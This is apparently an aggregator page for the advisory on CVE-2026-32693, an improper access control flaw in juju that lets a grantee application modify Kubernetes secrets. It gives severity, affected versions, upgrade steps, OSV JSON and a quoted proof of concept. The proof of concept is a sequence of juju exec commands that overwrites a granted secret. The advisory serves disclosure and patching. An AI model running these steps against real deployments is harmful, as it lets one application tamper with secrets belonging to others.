CVE-2026-32693: Github.com/juju/juju Juju Has Unauthorized Access To Vulnerability

HIGH
Advisory Identifier: GHSA-439w-v2p7-pggc
CVSS 8.8
CWE-284
Published
Advisory Summary

CVE-2026-32693 is a HIGH (CVSS 8.8) juju has unauthorized access to vulnerability (CWE-284: Improper Access Control) affecting Github.com/juju/juju libraries in the Go ecosystem. The issue involves juju has unauthorized access to out-of-scope kubernetes secrets. Remediation is available by upgrading affected packages to version 0.0.0-20260319091847-d06919eb03ec.

CVE-2026-32693 at a Glance

CVE Identifier CVE-2026-32693
GHSA Identifier GHSA-439w-v2p7-pggc
Severity HIGH
CVSS v3.1 Base Score 8.8
CWE Classification CWE-284: Improper Access Control
Affected Product Github.com/juju/juju
Package Ecosystem Go
Published Date
Last Updated

Security Impact

CVSS: 8.8

The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H).

Attack Vector Network (AV:N)
Attack Complexity Low (AC:L)
Privileges Required Low (PR:L)
User Interaction None (UI:N)
Scope Unchanged (S:U)
Confidentiality High (C:H)
Integrity High (I:H)
Availability High (A:H)

How to Fix CVE-2026-32693

To remediate this vulnerability, upgrade all affected Github.com/juju/juju dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.

github.com/juju/juju fixed: 0.0.0-20260319091847-d06919eb03ec
Upgrade github.com/juju/juju to 0.0.0-20260319091847-d06919eb03ec
Verify Direct and Transitive Dependencies

Run the following command in your project directory to verify that all resolved dependencies use the patched release:

inspect dependencies for github.com/juju/juju

How to Check if You Are Affected

To determine whether your application is affected by CVE-2026-32693, inspect your project dependencies for Github.com/juju/juju:

inspect dependencies for github.com/juju/juju

Analyze the terminal output to locate any version of Github.com/juju/juju in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 0.0.0-20260319091847-d06919eb03ec), your application is affected.

Note: Verify declared build manifests and deployed runtime container environments.

Technical Details

Vulnerability Mechanism & Technical Analysis

This vulnerability is classified under CWE-284: Improper Access Control, where the product does not restrict or incorrectly restricts access to a resource from an unauthorized actor. In Github.com/juju/juju, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.

Source Advisory Statement

### Summary Grantee is able to update secret content using the `secret-set` tool due to broad Kubernetes access policy. Implications are that it is possible, knowing a Kubernetes secret identifier (e.g. name), to patch without affecting the secret, revealing the value, or, patching while affecting the secrets value. ### Details When a Juju secret is "granted" to an app, that app should be able to read the secret content but not modify it, and should be able to only read secrets that have been granted to it. Authorization of the `secret-set` hook tool / controller request is not performed correctly, which allows the grantee to update the secret content and to read or affect other secrets. ### PoC Tested: - two applications in the same controller, same model: one owns the secret, another get a grant - relation between them - secret grant - Linux AMD64, Canonical K8s, Juju 3.6.8 controller, Juju 3.6.9 CLI Not tested: - admin (user) secrets - cross-model relations - cross-controller relations ```command ⋊> dima@bb ⋊> /c/hexanator on main ◦ juju exec --unit ingress2/0 "secret-add nice=little-value" secret://9cf1319c-4f4b-44f8-891b-9d1c7d8d3b52/d350nbnmp25c76301ht0 ⋊> dima@bb ⋊> /c/hexanator on main ◦ juju show-unit ingress2/0 ingress2/0: workload-version: 24.2.0 opened-ports: [] charm: ch:amd64/nginx-ingress-integrator-203 leader: true life: alive relation-info: - relation-id: 11 endpoint: ingress related-endpoint: ingress application-data: {} related-units: evilator/0: in-scope: true data: egress-subnets: 10.152.183.39/32 ingress-address: 10.152.183.39 private-address: 10.152.183.39 - relation-id: 10 endpoint: nginx-peers related-endpoint: nginx-peers application-data: {} local-unit: in-scope: true data: egress-subnets: 10.152.183.135/32 ingress-address: 10.152.183.135 private-address: 10.152.183.135 provider-id: ingress2-0 address: 10.1.0.100 ⋊> dima@bb ⋊> /c/hexanator on main ◦ juju exec --unit ingress2/0 "secret-grant d350nbnmp25c76301ht0 --relation 11" ⋊> dima@bb ⋊> /c/hexanator on main ◦ juju exec --unit evilator/0 "secret-set d350nbnmp25c76301ht0 nice=who-is-nice-now" updating secrets: permission denied ⋊> dima@bb ⋊> /c/hexanator on main ◦ juju exec --unit ingress2/0 "secret-get d350nbnmp25c76301ht0" nice: who-is-nice-now ``` When the grantee attempts to update the the granted secret: - `secret-set` command logs an error, though returns OK return status - the secret value is updated - new secret revision is not created - new value is visible to both owner and grantee ### Impact - the application that owns the secret - a third application, if a secret is granted to multiple parties - any other application that has secrets in the same Kubernetes secret backend

CVE-2026-32693 Affected Github.com/juju/juju Versions

1 component(s)
Fixed Versions:
0.0.0-20260319091847-d06919eb03ec
Product / Package Ecosystem Affected Versions Fixed Version
github.com/juju/juju
Go
≥ 0.0.0-20221021155847-35c560704ee2
< 0.0.0-20260319091847-d06919eb03ec
0.0.0-20260319091847-d06919eb03ec

References

Frequently Asked Questions

What is CVE-2026-32693?
CVE-2026-32693 is a security vulnerability in Github.com/juju/juju involving Juju has unauthorized access to out-of-scope Kubernetes secrets under CWE-284: Improper Access Control.
Which Github.com/juju/juju versions are affected?
Affected versions include releases prior to 0.0.0-20260319091847-d06919eb03ec across affected packages: github.com/juju/juju.
What version fixes CVE-2026-32693?
Upgrading to 0.0.0-20260319091847-d06919eb03ec (or the latest patched release for your respective branch) resolves the vulnerability.
Is github.com/juju/juju affected?
Yes, github.com/juju/juju is affected in releases prior to 0.0.0-20260319091847-d06919eb03ec. Upgrade your dependency to 0.0.0-20260319091847-d06919eb03ec or later.
What is the CVSS score of CVE-2026-32693?
CVE-2026-32693 has a CVSS v3.1 base score of 8.8 (HIGH) with vector string CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H.
What CWE is associated with CVE-2026-32693?
CVE-2026-32693 is classified under CWE-284: Improper Access Control (The product does not restrict or incorrectly restricts access to a resource from an unauthorized actor.).
How can I check Go dependencies for CVE-2026-32693?
Run the dependency tree command: 'inspect dependencies for github.com/juju/juju'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.
Machine-readable OSV JSON OSV v1.5 Schema
Normalized schema output
{
  "schema_version" : "1.4.0",
  "id" : "GHSA-439w-v2p7-pggc",
  "modified" : "2026-03-19T17:43:37Z",
  "published" : "2026-03-19T17:43:37Z",
  "aliases" : [ "CVE-2026-32693" ],
  "summary" : "Juju has unauthorized access to out-of-scope Kubernetes secrets",
  "details" : "### Summary\n\nGrantee is able to update secret content using the `secret-set` tool due to broad Kubernetes access policy.\nImplications are that it is possible, knowing a Kubernetes secret identifier (e.g. name), to patch without affecting the secret, revealing the value, or, patching while affecting the secrets value.\n\n### Details\n\nWhen a Juju secret is \"granted\" to an app, that app should be able to read the secret content but not modify it, and should be able to only read secrets that have been granted to it.\n\nAuthorization of the `secret-set` hook tool / controller request is not performed correctly, which allows the grantee to update the secret content and to read or affect other secrets.\n\n### PoC\n\nTested:\n- two applications in the same controller, same model: one owns the secret, another get a grant\n- relation between them\n- secret grant\n- Linux AMD64, Canonical K8s, Juju 3.6.8 controller, Juju 3.6.9 CLI\n\nNot tested:\n- admin (user) secrets\n- cross-model relations\n- cross-controller relations\n\n```command\n⋊> dima@bb ⋊> /c/hexanator on main ◦ juju exec --unit ingress2/0 \"secret-add nice=little-value\"\nsecret://9cf1319c-4f4b-44f8-891b-9d1c7d8d3b52/d350nbnmp25c76301ht0\n⋊> dima@bb ⋊> /c/hexanator on main ◦ juju show-unit ingress2/0\ningress2/0:\n  workload-version: 24.2.0\n  opened-ports: []\n  charm: ch:amd64/nginx-ingress-integrator-203\n  leader: true\n  life: alive\n  relation-info:\n  - relation-id: 11\n    endpoint: ingress\n    related-endpoint: ingress\n    application-data: {}\n    related-units:\n      evilator/0:\n        in-scope: true\n        data:\n          egress-subnets: 10.152.183.39/32\n          ingress-address: 10.152.183.39\n          private-address: 10.152.183.39\n  - relation-id: 10\n    endpoint: nginx-peers\n    related-endpoint: nginx-peers\n    application-data: {}\n    local-unit:\n      in-scope: true\n      data:\n        egress-subnets: 10.152.183.135/32\n        ingress-address: 10.152.183.135\n        private-address: 10.152.183.135\n  provider-id: ingress2-0\n  address: 10.1.0.100\n⋊> dima@bb ⋊> /c/hexanator on main ◦ juju exec --unit ingress2/0 \"secret-grant d350nbnmp25c76301ht0 --relation 11\" \n⋊> dima@bb ⋊> /c/hexanator on main ◦ juju exec --unit evilator/0 \"secret-set d350nbnmp25c76301ht0 nice=who-is-nice-now\" \nupdating secrets: permission denied\n⋊> dima@bb ⋊> /c/hexanator on main ◦ juju exec --unit ingress2/0 \"secret-get d350nbnmp25c76301ht0\" \nnice: who-is-nice-now\n```\n\nWhen the grantee attempts to update the the granted secret:\n\n- `secret-set` command logs an error, though returns OK return status\n- the secret value is updated\n- new secret revision is not created\n- new value is visible to both owner and grantee\n\n### Impact\n\n- the application that owns the secret\n- a third application, if a secret is granted to multiple parties\n- any other application that has secrets in the same Kubernetes secret backend",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "Go",
      "name" : "github.com/juju/juju"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0.0.0-20221021155847-35c560704ee2"
      }, {
        "fixed" : "0.0.0-20260319091847-d06919eb03ec"
      } ]
    } ]
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/juju/juju/security/advisories/GHSA-439w-v2p7-pggc"
  }, {
    "type" : "ADVISORY",
    "url" : "https://nvd.nist.gov/vuln/detail/CVE-2026-32693"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/juju/juju/commit/d06919eb03ec68156818bcc304b5fe1c39a8f9e9"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/juju/juju"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-284" ],
    "severity" : "HIGH",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-03-19T17:43:37Z",
    "nvd_published_at" : "2026-03-18T13:16:18Z"
  }
}